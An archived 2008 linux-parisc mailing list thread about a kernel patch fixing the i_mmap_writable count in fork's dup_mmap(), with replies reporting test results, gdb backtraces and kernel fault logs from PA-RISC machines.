From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: [PATCH] fix mapping_writably_mapped()
Date: Thu, 11 Dec 2008 01:29:40 -0700
Lines: 100
Approved: news@gmane.org
Message-ID: <20081211082940.GA29091@colo.lackof.org>
References: <20081210214638.GA28696@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228984201 2216 80.91.229.12 (11 Dec 2008 08:30:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Dec 2008 08:30:01 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 11 09:31:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LAgwr-0006MG-UD
	for glpp-linux-parisc@gmane.org; Thu, 11 Dec 2008 09:31:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750863AbYLKI3w (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Dec 2008 03:29:52 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754778AbYLKI3w
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 11 Dec 2008 03:29:52 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:53262 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750863AbYLKI3v (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Dec 2008 03:29:51 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id BA72429C090;
	Thu, 11 Dec 2008 01:29:50 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29198-03; Thu, 11 Dec 2008 01:29:40 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 4EE25180575; Thu, 11 Dec 2008 01:29:40 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20081210214638.GA28696@bombadil.infradead.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:947
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/947>

On Wed, Dec 10, 2008 at 04:46:38PM -0500, Kyle McMartin wrote:
> This may explain some of the userspace issues we've been seeing.

It seems to fix the issues I pointed out.
2.6.28-rc8 (linus' linux-2.6 git) is able to build a kernel from
scratch without segfaulting! :)
Previous 2.6.27 and 2.6.28 kernels that I tested weren't able to do that.

thanks!
grant

> 
> ----- Forwarded message from Hugh Dickins <hugh@veritas.com> -----
> 
> Sender: linux-arch-owner@vger.kernel.org
> From: Hugh Dickins <hugh@veritas.com>
> Subject: [PATCH] fix mapping_writably_mapped()
> To: Linus Torvalds <torvalds@linux-foundation.org>
> cc: Andrew Morton <akpm@linux-foundation.org>,
> 	Lee Schermerhorn <Lee.Schermerhorn@hp.com>, linux-mm@kvack.org,
> 	linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org,
> 	stable@kernel.org
> Date: Wed, 10 Dec 2008 20:48:52 +0000 (GMT)
> Message-ID: <Pine.LNX.4.64.0812102043060.25282@blonde.anvils>
> 
> Lee Schermerhorn noticed yesterday that I broke the mapping_writably_mapped
> test in 2.6.7!  Bad bad bug, good good find.
> 
> The i_mmap_writable count must be incremented for VM_SHARED (just as
> i_writecount is for VM_DENYWRITE, but while holding the i_mmap_lock)
> when dup_mmap() copies the vma for fork: it has its own more optimal
> version of __vma_link_file(), and I missed this out.  So the count
> was later going down to 0 (dangerous) when one end unmapped, then
> wrapping negative (inefficient) when the other end unmapped.
> 
> The only impact on x86 would have been that setting a mandatory lock on
> a file which has at some time been opened O_RDWR and mapped MAP_SHARED
> (but not necessarily PROT_WRITE) across a fork, might fail with -EAGAIN
> when it should succeed, or succeed when it should fail.
> 
> But those architectures which rely on flush_dcache_page() to flush
> userspace modifications back into the page before the kernel reads it,
> may in some cases have skipped the flush after such a fork - though any
> repetitive test will soon wrap the count negative, in which case it will
> flush_dcache_page() unnecessarily.
> 
> Fix would be a two-liner, but mapping variable added, and comment moved.
> 
> Reported-by: Lee Schermerhorn <Lee.Schermerhorn@hp.com>
> Signed-off-by: Hugh Dickins <hugh@veritas.com>
> ---
> 
>  kernel/fork.c |   15 +++++++++------
>  1 file changed, 9 insertions(+), 6 deletions(-)
> 
> --- 2.6.28-rc7/kernel/fork.c	2008-11-15 23:09:30.000000000 +0000
> +++ linux/kernel/fork.c	2008-12-10 12:49:13.000000000 +0000
> @@ -315,17 +315,20 @@ static int dup_mmap(struct mm_struct *mm
>  		file = tmp->vm_file;
>  		if (file) {
>  			struct inode *inode = file->f_path.dentry->d_inode;
> +			struct address_space *mapping = file->f_mapping;
> +
>  			get_file(file);
>  			if (tmp->vm_flags & VM_DENYWRITE)
>  				atomic_dec(&inode->i_writecount);
> -
> -			/* insert tmp into the share list, just after mpnt */
> -			spin_lock(&file->f_mapping->i_mmap_lock);
> +			spin_lock(&mapping->i_mmap_lock);
> +			if (tmp->vm_flags & VM_SHARED)
> +				mapping->i_mmap_writable++;
>  			tmp->vm_truncate_count = mpnt->vm_truncate_count;
> -			flush_dcache_mmap_lock(file->f_mapping);
> +			flush_dcache_mmap_lock(mapping);
> +			/* insert tmp into the share list, just after mpnt */
>  			vma_prio_tree_add(tmp, mpnt);
> -			flush_dcache_mmap_unlock(file->f_mapping);
> -			spin_unlock(&file->f_mapping->i_mmap_lock);
> +			flush_dcache_mmap_unlock(mapping);
> +			spin_unlock(&mapping->i_mmap_lock);
>  		}
>  
>  		/*
> --
> To unsubscribe from this list: send the line "unsubscribe linux-arch" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> 
> ----- End forwarded message -----
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: [PATCH] fix mapping_writably_mapped()
Date: Thu, 11 Dec 2008 07:52:53 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <20081211125254.858B54EF0@hiauly1.hia.nrc.ca>
References: <20081211082940.GA29091@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229000015 16836 80.91.229.12 (11 Dec 2008 12:53:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Dec 2008 12:53:35 +0000 (UTC)
Cc: kyle@infradead.org, linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 11 13:54:39 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LAl3Z-0005er-Pa
	for glpp-linux-parisc@gmane.org; Thu, 11 Dec 2008 13:54:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755503AbYLKMxD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Dec 2008 07:53:03 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755562AbYLKMxD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 11 Dec 2008 07:53:03 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1894 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755503AbYLKMxB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Dec 2008 07:53:01 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 858B54EF0; Thu, 11 Dec 2008 07:52:54 -0500 (EST)
In-Reply-To: <20081211082940.GA29091@colo.lackof.org> from "Grant Grundler" at Dec 11, 2008 01:29:40 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:948
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/948>

> On Wed, Dec 10, 2008 at 04:46:38PM -0500, Kyle McMartin wrote:
> > This may explain some of the userspace issues we've been seeing.
> 
> It seems to fix the issues I pointed out.
> 2.6.28-rc8 (linus' linux-2.6 git) is able to build a kernel from
> scratch without segfaulting! :)
> Previous 2.6.27 and 2.6.28 kernels that I tested weren't able to do that.

That's excellent news.  I applied it to my 2.6.22.19 tree.  My first
gcc build had an unexpected segfault, but the second try was ok.

I'll try 2.6.28-rc8 soon.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: [PATCH] fix mapping_writably_mapped()
Date: Thu, 11 Dec 2008 22:31:05 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <49418699.8070900@gmx.de>
References: <20081210214638.GA28696@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229031088 2403 80.91.229.12 (11 Dec 2008 21:31:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Dec 2008 21:31:28 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 11 22:32:31 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LAt8z-0006uQ-7a
	for glpp-linux-parisc@gmane.org; Thu, 11 Dec 2008 22:32:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755525AbYLKVbL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Dec 2008 16:31:11 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756982AbYLKVbL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 11 Dec 2008 16:31:11 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:58563 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755525AbYLKVbK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Dec 2008 16:31:10 -0500
Original-Received: (qmail invoked by alias); 11 Dec 2008 21:31:08 -0000
Original-Received: from mnhm-590f7f3f.pool.einsundeins.de (EHLO halden.box) [89.15.127.63]
  by mail.gmx.net (mp011) with SMTP; 11 Dec 2008 22:31:08 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19euyUJK+ReS4rtlkFQwpV6eTOk6O7ZrK0WPHZ6q1
	gL4VIm2cHy+bNm
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20081210214638.GA28696@bombadil.infradead.org>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.65
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:949
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/949>

Kyle McMartin wrote:
> This may explain some of the userspace issues we've been seeing.

It sadly does not fix the kernel panic I reported in
http://marc.info/?l=linux-parisc&m=122877889304862&w=2
("2.6.28: BUG: soft lockup - CPU#0 stuck for 61s!")

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: [PATCH] fix mapping_writably_mapped()
Date: Thu, 11 Dec 2008 16:03:08 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <1229032988.3266.119.camel@localhost.localdomain>
References: <20081210214638.GA28696@bombadil.infradead.org>
	 <49418699.8070900@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229032998 8878 80.91.229.12 (11 Dec 2008 22:03:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Dec 2008 22:03:18 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 11 23:04:20 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LAtdr-0002R8-7t
	for glpp-linux-parisc@gmane.org; Thu, 11 Dec 2008 23:04:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757365AbYLKWDF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Dec 2008 17:03:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757614AbYLKWDF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 11 Dec 2008 17:03:05 -0500
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:49230 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757365AbYLKWDE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Dec 2008 17:03:04 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id A66559752;
	Thu, 11 Dec 2008 16:03:01 -0600 (CST)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 9mWTcbQ77o6b; Thu, 11 Dec 2008 16:03:00 -0600 (CST)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 687547F66;
	Thu, 11 Dec 2008 16:03:00 -0600 (CST)
In-Reply-To: <49418699.8070900@gmx.de>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:950
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/950>

On Thu, 2008-12-11 at 22:31 +0100, Helge Deller wrote:
> Kyle McMartin wrote:
> > This may explain some of the userspace issues we've been seeing.
> 
> It sadly does not fix the kernel panic I reported in
> http://marc.info/?l=linux-parisc&m=122877889304862&w=2
> ("2.6.28: BUG: soft lockup - CPU#0 stuck for 61s!")

It's not really likely to ... what you have is too much work going on in
the locking functions.  Either because of contention or debugging.

Can you reproduce it without spinlock debugging?  If yes, then we may
have some nasty accidental contention in the flushing spinlocks.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: [PATCH] fix mapping_writably_mapped()
Date: Sat, 13 Dec 2008 11:36:23 -0500 (EST)
Lines: 236
Approved: news@gmane.org
Message-ID: <20081213163623.F1E694EA0@hiauly1.hia.nrc.ca>
References: <20081210214638.GA28696@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229186222 11901 80.91.229.12 (13 Dec 2008 16:37:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 13 Dec 2008 16:37:02 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: kyle@infradead.org (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 13 17:38:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LBXUq-0000Pu-9X
	for glpp-linux-parisc@gmane.org; Sat, 13 Dec 2008 17:37:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750883AbYLMQg0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 13 Dec 2008 11:36:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750902AbYLMQg0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 13 Dec 2008 11:36:26 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4753 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750883AbYLMQgZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 13 Dec 2008 11:36:25 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id F1E694EA0; Sat, 13 Dec 2008 11:36:23 -0500 (EST)
In-Reply-To: <20081210214638.GA28696@bombadil.infradead.org> from "Kyle McMartin" at Dec 10, 2008 04:46:38 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:951
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/951>

> This may explain some of the userspace issues we've been seeing.

There are still problems.  I built 2.6.28-rc8 using James' config for ion.
In my first attempt at building GCC, sh segfaulted in copy_word_list.
The kernel and sh then got into a continuous loop of SIGSEGVs filling
the file system with log messages.

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND           
27608 dave      20   0  3484 1304  512 R  100  0.0 519:33.44 sh                 

dave@mx3210:~$ strace -p 27608
Process 27608 attached - interrupt to quit
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
rt_sigreturn()                          = 1746504
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
rt_sigreturn()                          = 1746504
...

dave@mx3210:~$ gdb /bin/sh 27608
GNU gdb (GDB) 6.8.50.20080915-cvs
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "hppa-unknown-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
(no debugging symbols found)
Attaching to program: /bin/sh, process 27608

Program received signal SIGSEGV, Segmentation fault.
Reading symbols from /lib/libncurses.so.5...(no debugging symbols found)...done.
Loaded symbols for /lib/libncurses.so.5
Reading symbols from /lib/libdl.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/libc.so.6...
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld.so.1...(no debugging symbols found)...done.
Loaded symbols for /lib/ld.so.1

0x0004110c in copy_word_list ()
(gdb) bt
#0  0x0004110c in copy_word_list ()
#1  0x00052a5c in ?? ()
#2  0x0003a06c in ?? ()
#3  0x00037398 in execute_command_internal ()
#4  0x00036d24 in ?? ()
#5  0x00038284 in execute_command_internal ()
#6  0x00073994 in parse_and_execute ()
#7  0x0004d810 in command_substitute ()
#8  0x00051db0 in ?? ()
#9  0x000532c8 in ?? ()
#10 0x00056f18 in expand_string_assignment ()
#11 0x00050f14 in ?? ()
#12 0x000512cc in ?? ()
#13 0x00053220 in ?? ()
#14 0x0003a06c in ?? ()
#15 0x00037398 in execute_command_internal ()
#16 0x00038608 in execute_command ()
#17 0x000382f0 in execute_command_internal ()
#18 0x00038608 in execute_command ()
#19 0x000382f0 in execute_command_internal ()
#20 0x00038608 in execute_command ()
#21 0x000382f0 in execute_command_internal ()
#22 0x00038608 in execute_command ()
---Type <return> to continue, or q <return> to quit---
#23 0x000382f0 in execute_command_internal ()
#24 0x00038608 in execute_command ()
#25 0x00037f90 in execute_command_internal ()
#26 0x00038608 in execute_command ()
#27 0x000279a8 in reader_loop ()
#28 0x000274fc in main ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0004110c in copy_word_list ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0004110c in copy_word_list ()
(gdb) p/x $pc
$1 = 0x4110c
(gdb) disass 0x410fc 0x4111c
Dump of assembler code from 0x410fc to 0x4111c:
0x000410fc <copy_word_list+20>:	movb,= r26,r3,0x41158 <copy_word_list+112>
0x00041100 <copy_word_list+24>:	ldi 0,r5
0x00041104 <copy_word_list+28>:	ldw 4(r3),r4
0x00041108 <copy_word_list+32>:	b,l 0x32be4 <make_bare_word>,rp
0x0004110c <copy_word_list+36>:	ldw 0(r4),r26
0x00041110 <copy_word_list+40>:	ldw 4(r4),r19
0x00041114 <copy_word_list+44>:	copy r5,r25
0x00041118 <copy_word_list+48>:	stw r19,4(ret0)
End of assembler dump.
(gdb) p/x $r4
$2 = 0x0
(gdb) disass
Dump of assembler code for function copy_word_list:
0x000410e8 <copy_word_list+0>:	stw rp,-14(sp)
0x000410ec <copy_word_list+4>:	ldi 0,r19
0x000410f0 <copy_word_list+8>:	stw,ma r5,40(sp)
0x000410f4 <copy_word_list+12>:	stw r4,-3c(sp)
0x000410f8 <copy_word_list+16>:	stw r3,-38(sp)
0x000410fc <copy_word_list+20>:	movb,= r26,r3,0x41158 <copy_word_list+112>
0x00041100 <copy_word_list+24>:	ldi 0,r5
0x00041104 <copy_word_list+28>:	ldw 4(r3),r4
0x00041108 <copy_word_list+32>:	b,l 0x32be4 <make_bare_word>,rp
0x0004110c <copy_word_list+36>:	ldw 0(r4),r26
0x00041110 <copy_word_list+40>:	ldw 4(r4),r19
0x00041114 <copy_word_list+44>:	copy r5,r25
0x00041118 <copy_word_list+48>:	stw r19,4(ret0)
0x0004111c <copy_word_list+52>:	b,l 0x32278 <make_word_list>,rp
0x00041120 <copy_word_list+56>:	copy ret0,r26
0x00041124 <copy_word_list+60>:	ldw 0(r3),r3
0x00041128 <copy_word_list+64>:	cmpib,<> 0,r3,0x41104 <copy_word_list+28>
0x0004112c <copy_word_list+68>:	copy ret0,r5
0x00041130 <copy_word_list+72>:	cmpib,= 0,ret0,0x41158 <copy_word_list+112>
0x00041134 <copy_word_list+76>:	copy ret0,r19
0x00041138 <copy_word_list+80>:	ldw 0(ret0),ret0
0x0004113c <copy_word_list+84>:	cmpib,= 0,ret0,0x41158 <copy_word_list+112>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) p/x $r3
$3 = 0xd0e3c
(gdb) x/4x 0xd0e3c
0xd0e3c <error_trace_mode>:	0x00000000	0x00000000	0x000e1928	0x0019b2c8

Dec 13 01:32:21 mx3210 kernel: 
Dec 13 01:32:21 mx3210 kernel: do_page_fault() pid=27608 command='sh' type=15 address=0x00000000
Dec 13 01:32:21 mx3210 kernel: 
Dec 13 01:32:21 mx3210 kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Dec 13 01:32:21 mx3210 kernel: PSW: 00000000000011100000000000001111 Tainted: G        W 
Dec 13 01:32:21 mx3210 kernel: r00-03  00000000000e000f 00000000000d06a0 0000000000041113 00000000000d0e3c
Dec 13 01:32:21 mx3210 kernel: r04-07  0000000000000000 00000000001aa648 00000000000200b0 000000000019a508
Dec 13 01:32:21 mx3210 kernel: r08-11  00000000000d06a0 0000000000000001 00000000000c9ea0 00000000000d3b60
Dec 13 01:32:21 mx3210 kernel: r12-15  0000000000000000 0000000000000000 00000000000c9ea0 000000000000001f
Dec 13 01:32:21 mx3210 kernel: r16-19  00000000000d06a0 0000000000000001 0000000000000003 00000000001aa648
Dec 13 01:32:21 mx3210 kernel: r20-23  000000000019a1d2 0000000040762614 000000000019a1d2 0000000000000001
Dec 13 01:32:21 mx3210 kernel: r24-27  000000000000000b 0000000000000000 000000000019a588 00000000000c9ea0
Dec 13 01:32:21 mx3210 kernel: r28-31  00000000001aa648 0000000000000040 00000000faff4800 0000000000000003
Dec 13 01:32:21 mx3210 kernel: sr00-03  0000000001b4e800 0000000000000000 0000000000000000 0000000001b4e800
Dec 13 01:32:21 mx3210 kernel: sr04-07  0000000001b4e800 0000000001b4e800 0000000001b4e800 0000000001b4e800
Dec 13 01:32:21 mx3210 kernel: 
Dec 13 01:32:21 mx3210 kernel:       VZOUICununcqcqcqcqcqcrmunTDVZOUI
Dec 13 01:32:21 mx3210 kernel: FPSR: 00000000000000000000000000000000
Dec 13 01:32:21 mx3210 kernel: FPER1: 00000000
Dec 13 01:32:21 mx3210 kernel: fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
Dec 13 01:32:21 mx3210 kernel: fr04-07  fffffffffffff000 0000000000000000 ffffffffffffff9c bff0000000000000
Dec 13 01:32:21 mx3210 kernel: fr08-11  0000000000000000 00000000405b4760 000000Dec 12 23:11:11 mx3210 kernel: sd 1:0:2:0: [sdb] Mode Sense: ab 00 10 08
Dec 12 23:11:11 mx3210 kernel: sd 1:0:2:0: [sdb] Mode Sense: ab 00 10 08Dec 13 01:32:21 mx3210 kernel: 
Dec 13 01:32:21 mx3210 kernel: do_page_fault() pid=27608 command='sh' type=15 address=0x00000000
Dec 13 01:32:21 mx3210 kernel: Dec 13 01:32:21 mx3210 kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Dec 13 01:32:21 mx3210 kernel: PSW: 00000000000011100000000000001111 Tainted: G        W 
Dec 13 01:32:21 mx3210 kernel: r00-03  00000000000e000f 00000000000d06a0 0000000000041113 00000000000d0e3c
Dec 13 01:32:21 mx3210 kernel: r04-07  0000000000000000 00000000001aa648 0000000
0000200b0 000000000019a508Dec 13 01:32:21 mx3210 kernel: r08-11  00000000000d06a0 0000000000000001 0000000
0000c9ea0 00000000000d3b60Dec 13 01:32:21 mx3210 kernel: r12-15  0000000000000000 0000000000000000 0000000
0000c9ea0 000000000000001fDec 13 01:32:21 mx3210 kernel: r16-19  00000000000d06a0 0000000000000001 0000000
000000003 00000000001aa648
Dec 13 01:32:21 mx3210 kernel: r20-23  000000000019a1d2 0000000040762614 0000000
00019a1d2 0000000000000001
Dec 13 01:32:21 mx3210 kernel: r24-27  000000000000000b 0000000000000000 0000000
00019a588 00000000000c9ea0
Dec 13 01:32:21 mx3210 kernel: r28-31  00000000001aa648 0000000000000040 00000000faff4800 0000000000000003
Dec 13 01:32:21 mx3210 kernel: sr00-03  0000000001b4e800 0000000000000000 0000000000000000 0000000001b4e800
